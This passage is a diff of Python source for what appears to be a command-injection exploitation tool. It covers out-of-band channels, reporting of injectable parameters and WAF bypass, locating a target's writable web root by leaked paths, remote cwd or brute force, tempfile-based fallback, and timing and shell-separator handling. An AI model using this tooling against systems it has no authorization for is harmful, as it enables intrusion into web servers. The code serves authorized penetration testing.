as err: + err_msg = provider.tls_error(err) or ("Unable to reach the out-of-band server (" + str(err) + ").") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + settings.OOB_CHANNEL = channel + # The server is reached over both, so what the payloads use is the target's side of the choice: + # a host with no TLS of its own, or one that only lets 443 out, needs the other one. + settings.OOB_SCHEME = channel.scheme + settings.OOB_PORT = getattr(channel, "port", None) + if menu.options.oob_scheme: + scheme = str(menu.options.oob_scheme).strip().lower().rstrip(":/") + if scheme not in ("http", "https"): + err_msg = "The option '--oob-scheme' takes either 'http' or 'https'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + settings.OOB_SCHEME = scheme + settings.OOB_IGNORE_TIMEOUT = True + notice = channel.server_notice() + if notice: + settings.print_data_to_stdout(settings.print_info_msg(notice)) + return channel + +""" +Tear the out-of-band channel down. +""" +def close_oob_channel(): + if settings.OOB_CHANNEL is not None: + if not settings.OOB_CHANNEL.seen_any and settings.OOB_STATE is not True: + warn_msg = "No interaction of any kind reached the out-of-band server, so the channel itself " + warn_msg += "was never proven to work. Check the target's egress and the channel's settings." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.OOB_CHANNEL.stop() + settings.OOB_CHANNEL = None + +""" +Apply the optimization switches ('-o'). +""" +def set_optimize(): + # Persistent connections are already on by default, so only the thread count is left. + if menu.options.optimize and menu.options.threads is None: + menu.options.threads = settings.OPTIMIZE_THREADS + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting '--threads' to " + str(settings.OPTIMIZE_THREADS) + ", used indirectly by switch '-o'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if menu.options.threads is None: + menu.options.threads = 1 + +""" +Check for wrong flags +""" +def check_wrong_flags(): + if settings.TARGET_OS == settings.OS.WINDOWS: + if menu.options.is_root : + warn_msg = "Identified the target as Windows. Switching " + warn_msg += "'--is-root' to '--is-admin'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if menu.options.passwords: + warn_msg = "The '--passwords' switch is not yet supported on Windows targets." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + if menu.options.is_admin : + warn_msg = "Identified the target as Unix-like. Switching " + warn_msg += "'--is-admin' to '--is-root'. " + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Set writable path name +""" +def setting_writable_dir(path): + if settings.VERBOSITY_LEVEL != 0: + info_msg = "Attempting to create a file in directory '" + path + info_msg += "' for execution output. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + elif not settings.WRITABLE_DIR_ATTEMPT_SAID: + settings.WRITABLE_DIR_ATTEMPT_SAID = True + where = settings.WEB_ROOT_CATEGORY_LABEL or "a writable directory" + info_msg = "Attempting to create a file in " + where + " for execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Define python working dir (for windows targets) +""" +def define_py_working_dir(): + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.interpreter: + while True: + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as default Python interpreter on the target host? [Y/n] " + python_dir = common.read_input(message, default="Y", check_batch=True) + if python_dir in settings.CHOICE_YES: + break + elif python_dir in settings.CHOICE_NO: + message = "Please specify the full path to the Python interpreter executable (e.g. '" + message += settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') " + custom_interpreter = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + # A blank answer keeps the interpreter already in use, which the payloads concatenate as a string. + if custom_interpreter and custom_interpreter.strip(): + settings.WIN_PYTHON_INTERPRETER = custom_interpreter.strip() + break + else: + common.invalid_option(python_dir) + pass + settings.USER_DEFINED_PYTHON_DIR = True + +""" +Checks for identified vulnerable parameter +""" +def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, title=None): + # Check injection state + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + if settings.COOKIE_INJECTION is True: + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + found_vuln_parameter = vuln_parameter + the_type = " parameter" + + elif settings.USER_AGENT_INJECTION is True: + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.REFERER_INJECTION is True: + header_name = settings.SINGLE_WHITESPACE + settings.REFERER + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.HOST_INJECTION is True: + header_name = settings.SINGLE_WHITESPACE + settings.HOST + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.CUSTOM_HEADER_INJECTION is True: + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + found_vuln_parameter = "" + the_type = " HTTP header" + + else: + header_name = "" + the_type = " parameter" + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + found_vuln_parameter = parameters.vuln_GET_param(url) + else : + found_vuln_parameter = vuln_parameter + + if len(found_vuln_parameter) != 0 : + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + + announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, title=title) + +""" +Drop the "command injection"/"injection" filler word from a technique name, for the terse +inline "appears to be injectable via ..." message - the stored/summary form keeps it. +""" +def short_technique_label(technique): + return technique_display_name(technique).replace("command injection ", "").replace("injection ", "") + +""" +Full label of a technique, with the sink it reached - "results-based classic command injection technique". +""" +def technique_label(injection_type, technique): + name = short_technique_label(technique) + if name.endswith(" technique"): + name = name[:-len(" technique")] + # The channel belongs with the technique's own name, ahead of the injection type. + if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label(): + name += " (" + oob_channel_label() + ")" + # The technique leads, because it says how the result came back; the type names only the sink. + return name + settings.SINGLE_WHITESPACE + injection_type + " technique" + +""" +Display name of a technique - a "/tmp/" output file is a file-based mechanism, not its own technique. +""" +def technique_display_name(technique): + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return settings.INJECTION_TECHNIQUE.FILE_BASED + # Reaching an evaluation sink is not a technique of its own - it is the results-based one aimed + # at different code, and the injection type is what says which sink was reached. + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + return settings.INJECTION_TECHNIQUE.RESULTS_BASED + return technique + +""" +Record a newly-identified injectable finding to the log file and terminal - the shared tail of identified_vulnerable_param() above, reusable by modules (see shellshock.py) with their own header_name/the_type. +""" +def announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, type_prefix="", decode_payload=True, title=None): + # A Cookie finding is still sent over a real GET/POST on the wire - 'http_request_method' is that + # verb, not what to call the finding. Only a plain GET/POST parameter has no 'header_name' of its + # own and is left to that verb; a header finding already took the branch above. + if "header" in the_type.lower(): + display_method = "HTTP Header" + elif header_name.strip(): + display_method = header_name.strip() + else: + display_method = http_request_method + logs.add_finding(filename, injection_type, technique, display_method, vuln_parameter, payload, title) + + if not settings.LOAD_SESSION: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + # Said first where this is the finding that gets a blocked run past its WAF/IPS, so the two read + # as cause then effect rather than the bypass note trailing behind the finding it explains. + if settings.WAF_ENABLED and settings.WAF_EVASION_APPLIED and not settings.WAF_BYPASS_CONFIRMED: + settings.WAF_BYPASS_CONFIRMED = True + info_msg = "Bypassed the WAF/IPS by using the '" + settings.WAF_EVASION_APPLIED.replace(",", "', '") + "' tamper scripts." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique) + oracle_hint = boolean_oracle_hint(technique) + info_msg += (" (with " + oracle_hint + ")" if oracle_hint else "") + "." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + """ + Said where a shell answered the same parameter that an evaluated sink was just confirmed on. + + The command substitution an evaluated payload reaches the system through - backticks, '$()' - is + read the same way by a shell, so a target that evaluates nothing at all still runs it and still + writes the file or waits the delay the technique was looking for. The finding is real either way; + which of the two it is, this cannot tell apart, and reported as code injection on its own it names + the wrong one for a sink that only ever reached '/bin/sh'. + + Said only where nothing identified an interpreter: a sink that answered the language's own probe, + or complained in its own words, has evidence of evaluating for itself, and a shell reachable from + inside it is what an evaluated payload is expected to reach - not a reason to doubt the finding. + """ + if menu.options.eval_sink and settings.IDENTIFIED_COMMAND_INJECTION and not settings.EVAL_OVER_SHELL_SAID \ + and not (settings.IDENTIFIED_EVAL_PROBE or settings.IDENTIFIED_WARNINGS): + settings.EVAL_OVER_SHELL_SAID = True + warn_msg = "A command shell answered this parameter as well, and the payload's own command " + warn_msg += "substitution is read the same way by one - so this may be command injection rather " + warn_msg += "than code injection. Re-run without '--eval' to tell them apart." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + announce_leftover_file(technique) + decoded_payload = str(url_decode(payload)) if decode_payload else payload + # Reported as the request proved it, which is after every script that rewrites a payload's text. + decoded_payload = payload_as_sent(decoded_payload) + if not settings.LOAD_SESSION: + settings.CONFIRMED_INJECTION_POINTS.append((technique, injection_type, vuln_parameter, payload_with_own_value(decoded_payload), display_method, settings.TOTAL_OF_REQUESTS, title)) + +""" +Whether the output file still answers on its URL. Only the file-based technique has one to ask, so +anything else is reported as unconfirmed rather than guessed at. +""" +def output_file_still_served(): + if not settings.DEFINED_WEBROOT: + return False + from src.core.requests import requests + """ + Asked as a request of its own, because what it is looking for is the answer every other request + is warned about: a file that has been deleted is not found, and a '404' here is the delete having + taken rather than the target interfering with anything. + """ + settings.set_side_request("file_check", True) + try: + request = _urllib.request.Request(settings.DEFINED_WEBROOT) + headers.do_check(request) + response = requests.get_request_response(request) + return bool(response) and not isinstance(response, bool) + except Exception: + return False + finally: + settings.set_side_request("file_check", False) + +""" +Name the file this technique leaves in the target's document root, and the URL it answers on - it is +written there to carry the command output and is not removed on its own. +""" +def announce_leftover_file(technique): + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED or not settings.DEFINED_WEBROOT: + return + # The name it was written under, which a URL serving it through a script does not carry. + written = settings.WEB_ROOT + (settings.CUSTOM_FILENAME or settings.DEFINED_WEBROOT.split("/")[-1]) + if written not in settings.LEFTOVER_FILES: + settings.LEFTOVER_FILES.append(written) + +""" +Drop a file from the leftovers, once it has actually been taken off the target - otherwise the run +ends by naming a file it has just removed. +""" +def forget_leftover_file(name): + for left in list(settings.LEFTOVER_FILES): + if left == name or left.endswith("/" + name) or left.endswith("\\" + name): + settings.LEFTOVER_FILES.remove(left) + +""" +Finalize injection process +""" +def finalize(exit_loops, no_result, i, total, injection_type, technique, shell): + if exit_loops is False: + if settings.VERBOSITY_LEVEL == 0: + # Finished means a shell was found, or every combination was tried without one. + done = bool(shell) or (no_result and total and i >= total) + injection_process(injection_type, technique, done=done, i=i, total=total) + return True + else: + return False + +""" +Whether a directory path belongs to the operating system currently in use - a root worked out for +one is not a path on the other, and offering it leads to a write that cannot land. +""" +def web_root_matches_os(path): + if not path: + return True + looks_windows = bool(re.match(r"\A[A-Za-z]:[\\/]", path)) + return looks_windows == (settings.TARGET_OS == settings.OS.WINDOWS) + +""" +Normalize a directory path for the target OS +""" +def normalize_target_dir(path): + if not path: + return path + if settings.TARGET_OS == settings.OS.WINDOWS: + path = path.replace("/", "\\") + if not path.endswith("\\"): + path += "\\" + else: + path = path.replace("\\", "/") + if not path.endswith("/"): + path += "/" + return path + +""" +The directory-named-by-the-target-host candidates a brute-force search tries each prefix under - +'www.example.com' also tries 'example.com', the way a vhost is as likely to be named one as the +other; a bare IP or single-label host (no '.' to drop a label from) tries only itself. +""" +def brute_force_target_names(): + host = settings.TARGET_URL or "" + if not host: + return set() + labels = host.split(".") + names = {host} + # A bare IP has no label to drop - '192.168.0' names no host the address does. + if re.match(r"\A\d{1,3}(?:\.\d{1,3}){3}\Z", host): + return names + if labels[0] == "www": + names.add(".".join(labels[1:])) + names.add(".".join(labels[1:-1])) + else: + names.add(".".join(labels[:-1])) + names.discard("") + return names + +""" +Every prefix/suffix combination worth trying blind - '--web-root'(interactive)'s 4th menu choice - +target name substituted in where a prefix asks for one, nearest (most likely) first. +""" +def brute_force_web_roots(): + sep = "\\" if settings.TARGET_OS == settings.OS.WINDOWS else "/" + prefixes = settings.BRUTE_DOC_ROOT_PREFIXES.get(settings.TARGET_OS, settings.BRUTE_DOC_ROOT_PREFIXES[settings.OS.UNIX]) + names = brute_force_target_names() + candidates = [] + for prefix in prefixes: + resolved = [prefix.replace(settings.DOC_ROOT_TARGET_MARK, name) for name in names] if settings.DOC_ROOT_TARGET_MARK in prefix else [prefix] + for base in resolved: + for suffix in settings.BRUTE_DOC_ROOT_SUFFIXES: + item = (base + sep + suffix) if suffix else base + if item not in candidates: + candidates.append(item) + + info_msg = "Using generated directory list: " + ", ".join(candidates) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + message = "Use any additional custom directories? [Enter for none] " + extra = common.read_input(message, default="", check_batch=True) + if extra: + candidates.extend(path.strip() for path in extra.split(",") if path.strip()) + return candidates + +""" +Resolve a numbered-menu answer: '--answers' is matched against the full question text - every +option's own words, not just the bare prompt actually shown - so that an answer can be written +against any part of what was asked, while what the operator sees stays the short, single-line, +readline-safe prompt handed in as 'prompt'. +""" +def resolve_menu_choice(full_text, prompt, default): + if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="): + for item in settings.ANSWERS.split(','): + question = item.split('=', 1)[0].strip() + answer = item.split('=', 1)[1] if '=' in item else None + if answer and question.lower() in full_text.lower(): + settings.print_data_to_stdout(settings.print_message(prompt + str(answer))) + return answer + return common.read_input(prompt, default=default, check_batch=True) + +""" +The directory-choice menu offered once a usable web root could not be worked out on its own - the +same four choices every time: a short list of common locations, directories named by hand, a file +listing them, or a brute-force sweep of likely ones - returning however many candidates that choice +produced, nearest (most likely) first. +""" +def choose_web_root_candidates(): + """ + Asked once and held for the target. + + A retry that applies a tamper script does need the candidates walked again - what a filtered pass + gave up on says nothing about how the same directories answer a payload shaped differently. The + operator's answer is not part of that: which directories to try is a fact about the target, not + about the payload that happened to reach them, and asking for it again on every pass makes the + same question look unanswered. + """ + if settings.WEB_ROOT_CHOICE is None: + candidates = _ask_web_root_candidates() + settings.WEB_ROOT_CHOICE = (list(candidates), settings.WEB_ROOT_CATEGORY_LABEL) + candidates, settings.WEB_ROOT_CATEGORY_LABEL = settings.WEB_ROOT_CHOICE + return list(candidates) + +# The menu itself, asked on behalf of the function above and only while it has no answer yet. +def _ask_web_root_candidates(): + if settings.TARGET_OS == settings.OS.WINDOWS: + common_roots = list(settings.WINDOWS_DEFAULT_DOC_ROOTS) + else: + common_roots = [root.replace(settings.DOC_ROOT_TARGET_MARK, settings.TARGET_URL) for root in settings.LINUX_DEFAULT_DOC_ROOTS] + + # The server's banner may have already guessed one - worth leading with, not worth trusting + # silently, since a guess is wrong often enough that the menu still belongs in front of it. + if settings.WEB_ROOT_IS_GUESS and settings.WEB_ROOT and settings.WEB_ROOT not in common_roots: + common_roots.insert(0, settings.WEB_ROOT) + + # The full list is what gets tried - only a short preview of it is worth putting on one line, + # or the line wraps wherever the terminal happens to be narrow enough to break it. + preview = "'" + "', '".join(common_roots[:3]) + "'" + if len(common_roots) > 3: + preview += ", ..., " + str(len(common_roots)) + " total" + # Printed, not folded into the input() prompt below - a prompt with embedded newlines is a + # known readline weak spot (cursor/width tracking assumes one line), and corrupts on redraw in + # some terminals. Plain prints have no such tracking to get wrong. + question = "What do you want to use for the writable directory?" + options = ( + "[1] Common location(s) (" + preview + ") (default)", + "[2] Custom location(s)", + "[3] Custom directory list file", + "[4] Brute force search", + ) + settings.print_data_to_stdout(Style.BRIGHT + question + Style.RESET_ALL) + for option in options: + settings.print_data_to_stdout(Style.BRIGHT + option + Style.RESET_ALL) + # '--answers' is matched against the full text above, every option's own words included, while + # the prompt actually shown stays the bare "> " a rendered multi-line question leaves behind. + choice = resolve_menu_choice(question + " " + " ".join(options), "> ", "1") + + if choice == "2": + settings.WEB_ROOT_CATEGORY_LABEL = "custom location(s)" + message = "Please provide a comma separated list of absolute directory paths" + given = common.read_input(message, default="", check_batch=True) + paths = [path.strip() for path in given.split(",") if path.strip()] + return paths or common_roots + + if choice == "3": + settings.WEB_ROOT_CATEGORY_LABEL = "directory list file" + message = "What's the list file location? " + list_path = common.read_input(message, default="", check_batch=True) + try: + return common.load_list_from_file(list_path, "directory list") + except SystemExit: + return common_roots + + if choice == "4": + settings.WEB_ROOT_CATEGORY_LABEL = "brute-forced directory list" + return brute_force_web_roots() + + settings.WEB_ROOT_CATEGORY_LABEL = "common location(s)" + return common_roots + +""" +What the URL puts between the document root and the script it names - the script's own name dropped, +since a directory URL has none and one that names a script is not part of the directory it sits in. + +Both routes below cut a root with this, one off a path the target leaked and one off the directory +it says it runs in, so it is worked out the same way for either rather than twice over. +""" +def url_path_below_web_root(url): + return re.sub(r"/[^/]*\Z", "", _urllib.parse.urlparse(url).path or "").rstrip("/") + +""" +Try to work out the web root from an absolute file path the target has already leaked somewhere +in its own output - a PHP warning naming the script's own path is the most common way - checked +before ever asking the operator, since an answer the target gave itself beats one guessed at. A match +is cut right after whichever generic document-root name (or the target's own hostname) it carries, +the same as the directory the target is actually using is named. +""" +def web_root_from_leaked_path(url): + try: + parsed = _urllib.parse.urlparse(url) + response = get_response(parsed.scheme + "://" + parsed.netloc + "/") + if response is None or isinstance(response, bool): + return None + body = decode_page_body(response.read(), response) + except Exception: + return None + + markers = ["/" + name + "/" for name in settings.GENERIC_DOC_ROOT_DIRECTORY_NAMES] + if parsed.hostname: + markers.append("/" + parsed.hostname + "/") + below = url_path_below_web_root(url) + + for match in re.finditer(settings.DIRECTORY_REGEX, body or ""): + path = match.group(0) + # A leaked path is written the target's own way - a drive letter and backslashes on Windows. + # Read in one spelling and handed back in the other, so what is returned is a path that the target + # would recognise. + native_separator = "\\" if "\\" in path else "/" + drive = "" + if re.match(r"\A[A-Za-z]:", path): + drive, path = path[:2], path[2:] + path = path.replace("\\", "/") + for marker in markers: + if marker in path: + return (drive + path.split(marker)[0] + marker).replace("/", native_separator) + # No document-root name in it and not the host's own: what the URL asked for is still on the + # end of it, and taking that off leaves the root, the same way the script's own directory does. + # Matched at the end rather than anywhere in it - a path merely carrying those names somewhere + # in the middle says nothing about where the root is, and one starting with them cuts to "/". + directory = re.sub(r"/[^/]*\Z", "", path) + if below and directory.endswith(below) and len(directory) > len(below): + return (drive + directory[:len(directory) - len(below)] + "/").replace("/", native_separator) + + return None + +""" +Ask the target where it is serving from, rather than reading it off a list of the usual places. + +Where a technique whose output comes back is already confirmed, the directory the script runs in is +one command away, and the URL says how far under the document root that script sits - so the root is +what is left of the one with the other taken off its end. An answer the target gave about itself is +worth more than a candidate, the same as a leaked path is above; this one is asked for rather than +waited for. Where the two do not line up - an alias, a rewrite, a script reached by a path it is not +stored under - nothing is returned and the candidates are walked exactly as before. +""" +def web_root_from_target_cwd(url): + probe = settings.WEB_ROOT_PROBE + if probe is None or not url: + return None + cmd = settings.WIN_CURRENT_DIRECTORY if settings.TARGET_OS == settings.OS.WINDOWS else settings.CURRENT_DIRECTORY + # Asked in the state it was armed in. The time-based technique runs between the two and leaves its + # own flag standing, and the answer to this one is read off the page, not timed - left set, the + # read is the time-related one and comes back empty however well the command itself ran. + time_related = settings.TIME_RELATED_ATTACK + try: + settings.TIME_RELATED_ATTACK = False + answer = probe(cmd) + except Exception: + return None + finally: + settings.TIME_RELATED_ATTACK = time_related + # Asked once and then spent. A root worked out from here empties the candidate list, so a write + # failing on it comes back through this - and an answer that was wrong the first time is wrong + # again, which would leave the same root being offered for as long as it keeps failing. Spent, + # the second pass falls through to the leaked path and the menu, as it would have without this. + settings.WEB_ROOT_PROBE = None + lines = [line.strip() for line in str(answer or "").splitlines() if line.strip()] + cwd = lines[0] if lines else "" + # A shell that could not run it answers with its own error rather than a path. + if not re.match(r"\A([A-Za-z]:)?[\\/]", cwd): + return None + native_separator = "\\" if "\\" in cwd else "/" + cwd = cwd.replace("\\", "/").rstrip("/") + below = url_path_below_web_root(url) + if below and not cwd.endswith(below): + return None + root = cwd[:len(cwd) - len(below)] if below else cwd + if not root: + return None + return (root + "/").replace("/", native_separator) + +""" +Provide custom server's root directory +""" +def custom_web_root(url, timesec, filename, http_request_method, url_time_response): + if not settings.CUSTOM_WEB_ROOT: + # Prefer an already auto-detected root over asking - but only a genuinely confirmed one (never + # a banner guess, which belongs in the menu instead), and only its one, first turn, or a write + # failure on it would keep "preferring" the very path that just failed instead of moving on. + if not settings.WEB_ROOT_SETTLED_ONCE and settings.WEB_ROOT and not settings.WEB_ROOT_IS_GUESS and web_root_matches_os(settings.WEB_ROOT): + settings.WEB_ROOT_CANDIDATES = [] + elif settings.WEB_ROOT_CANDIDATES: + # A previous choice already built a list - a write failure moves to the next untried + # candidate instead of asking the same question over again. + settings.WEB_ROOT = settings.WEB_ROOT_CANDIDATES.pop(0) + if settings.VERBOSITY_LEVEL != 0: + info_msg = "Trying '" + settings.WEB_ROOT + "' instead." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Asked of the target first, where a confirmed technique can carry the question: what it + # answers about itself settles the root outright, and a leaked path only happens to be there. + retrieved = web_root_from_target_cwd(url) or (web_root_from_leaked_path(url) if url else None) + if retrieved: + info_msg = "Retrieved the web server document root: '" + retrieved + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.WEB_ROOT = retrieved + settings.WEB_ROOT_CANDIDATES = [] + else: + # Said where the menu below is about to be put, not on every pass that walks the same + # candidates again: it is the reason for that question, and repeating it without the + # question reads as the root having failed to be worked out a second and a third time. + if settings.WEB_ROOT_CHOICE is None: + warn_msg = "Unable to automatically retrieve the web server document root." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + candidates = choose_web_root_candidates() + settings.WEB_ROOT = candidates[0] if candidates else (settings.WINDOWS_DEFAULT_DOC_ROOTS[0] if settings.TARGET_OS == settings.OS.WINDOWS else settings.LINUX_DEFAULT_DOC_ROOTS[0]) + settings.WEB_ROOT_CANDIDATES = candidates[1:] + settings.WEB_ROOT_SETTLED_ONCE = True + settings.CUSTOM_WEB_ROOT = True + + if not settings.LOAD_SESSION: + path = settings.WEB_ROOT + setting_writable_dir(path) + menu.options.web_root = settings.WEB_ROOT.strip() + + +""" +TEMP path for a Windows or Unix-like target, without touching WEB_ROOT or prompting. +""" +def default_tmp_path(): + if settings.TARGET_OS == settings.OS.WINDOWS: + if "microsoft-iis" in settings.SERVER_BANNER.lower(): + settings.TMP_PATH = "C:\\Windows\\TEMP\\" + else: + settings.TMP_PATH = "%temp%\\" + else: + settings.TMP_PATH = "/tmp/" + return normalize_target_dir(menu.options.tmp_path or settings.TMP_PATH) + +""" +Return TEMP path for a Windows or Unix-like target. +""" +def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): + tmp_path = default_tmp_path() + + if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT + + settings.CALL_TMP_BASED = False + if menu.options.file_dest and '/tmp/' in menu.options.file_dest: + settings.CALL_TMP_BASED = True + + if menu.options.web_root: + settings.WEB_ROOT = menu.options.web_root + else: + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + settings.WEB_ROOT = normalize_target_dir(settings.WEB_ROOT) + menu.options.web_root = settings.WEB_ROOT + + return tmp_path + +""" +Check if file-based technique has failed, +then use the "/tmp/" directory for tempfile-based technique. +""" +def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): + if no_result is True: + from src.core.techniques.tempfile_based import tfb_handler + path = tmp_path + setting_writable_dir(path) + # Nothing said where it hands back: the sweep that carries on announces itself as it continues, + # and saying so twice over reads as two techniques where there is one. + return tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Fit what has been resolved so far onto the single line the progress display keeps rewriting. +""" +def progress_display_text(chars, furthest, total): + if furthest == 0: + return "" + if menu.options.no_truncate: + return "".join(chars[:furthest]) + width = settings.PROGRESS_DISPLAY_WIDTH + start = max(1, furthest - width + 1) + text = "".join(chars[start - 1:furthest]) + if start > 1: + text = ".." + text[2:] + if furthest - start + 1 == width and furthest < total: + text = text[:-2] + ".." + return text + +""" +Check if to use the "/tmp/" directory for tempfile-based technique. +""" +def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): + """ + Asked once for the run, not once per web root that failed. + + Another directory to try is what brings this round again, and the question it asks is about the + temporary directory rather than about the one just tried - so the answer already given covers it, + and asking a second time reads as a second obstacle where there is one. + """ + if settings.TEMP_FOLDER_CHOICE is False: + return False + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + while True: + # Named individually only at '-v' above 0 - at default verbosity, every path already tried + # was never named either, so the last one alone would not mean anything on its own. + if settings.VERBOSITY_LEVEL != 0 or not settings.WEB_ROOT_CATEGORY_LABEL: + where = "'" + settings.WEB_ROOT + "'" + else: + where = "any " + settings.WEB_ROOT_CATEGORY_LABEL + " directory" + message = "Unable to write to " + where + ". " + message += "Do you want to use '" + tmp_path + "' instead? [Y/n] " + tmp_upload = settings.CHOICE_YES[0] if settings.TEMP_FOLDER_CHOICE else \ + common.read_input(message, default="Y", check_batch=True) + if tmp_upload in settings.CHOICE_YES: + settings.TEMP_FOLDER_CHOICE = True + settings.TEMPFILE_BASED_STATE = True + call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + if call_tfb is not False: + return True + else: + if no_result is True: + return False + else: + return True + elif tmp_upload in settings.CHOICE_NO: + settings.TEMP_FOLDER_CHOICE = False + break + elif tmp_upload in settings.CHOICE_QUIT: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Asked for from inside the handling of a failed request, a bare 're-raise' handed that + # request's own error back up instead of quitting, which is not what was answered. + raise SystemExit() + else: + common.invalid_option(tmp_upload) + pass + # continue + +""" +Adjusts the timesec delay +""" +def min_safe_timesec(): + # Scale the floor by confirmed instability. + if settings.UNSTABLE_REQUEST_CHOICE: + min_safe_delay = settings.MIN_SAFE_TIMESEC_UNSTABLE + settings.UNSTABLE_REQUEST_BUMPS + else: + min_safe_delay = settings.MIN_SAFE_TIMESEC + if settings.URL_TIME_RESPONSE: + min_safe_delay = max(min_safe_delay, settings.URL_TIME_RESPONSE + settings.TIME_DELAY_STEP * 2) + return min_safe_delay + +""" +Adjusts the timesec delay +""" +def time_related_timesec(): + min_safe_delay = min_safe_timesec() + if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: + if min_safe_delay != settings.REPORTED_MIN_SAFE_TIMESEC: + settings.REPORTED_MIN_SAFE_TIMESEC = min_safe_delay + msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + " second" + ("s" if min_safe_delay > 1 else "") + ". In case of inconsistencies, it will be auto-increased." + # A value the user chose is not overridden quietly, whatever the verbosity. + if settings.USER_APPLIED_TIMESEC: + settings.print_data_to_stdout(settings.print_warning_msg(msg)) + elif settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_debug_msg(msg)) + return min_safe_delay + else: + return max(settings.TIMESEC, min_safe_delay) + +""" +Export the time related injection results +""" +def time_related_export_injection_results(cmd, separator, output, check_exec_time): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if output != "" and check_exec_time != 0 : + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_exec_time)) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + # Could be separator filtration on target host, or simply an invalid/wrong command. + if output is not False : + err_msg = "The '" + cmd + "' command did not return any output. This could be due to " + err_msg += "'" + separator + "' filtration on the target host, or the command itself " + err_msg += "being invalid." + if not menu.options.interpreter: + err_msg += " If you are confident it is valid, try the '--interpreter' option or another injection technique." + else: + err_msg += " If you are confident it is valid, try another injection technique." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Check for invalid provided command. + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if menu.options.abort_on_empty: + raise SystemExit(settings.EXIT_FAILURE) + +""" +Success msg. +""" +def shell_success(option): + info_msg = "Sending selected payload to the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Error msg if the attack vector is available only for Windows targets. +""" +def windows_only_attack_vector(): + error_msg = "This attack vector is available only for Windows targets." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + +""" +The operator a Windows payload starts with, or None when the separator does not chain commands in +cmd.exe at all - ';', a newline and Ctrl-Z do not, so there is no payload to build for those. +""" +WINDOWS_SEPARATORS = ("&", "&&", "|", "||", "") + +# The separator, where cmd.exe understands it, and nothing where it does not. +def windows_separator(separator): + return separator if separator in WINDOWS_SEPARATORS else None + +""" +The same for a POSIX shell. + +Ctrl-Z is cmd.exe's end-of-file and here an ordinary byte: 'xxx\x1aecho foo' is one word, so +nothing follows it to run. CRLF leaves its carriage return on the end of the line before it, where +only a command that takes the byte as data survives it - 'sleep 5\r' is an invalid interval and +'>/tmp/f\r' writes a different file - so what it reaches is a subset of what a bare newline does. +""" +def unix_separator(separator): + return None if separator in (settings.CTRL_Z, settings.END_LINE.CRLF) else separator + +# The separator as the target's shell reads it, and nothing where it reads it as no separator 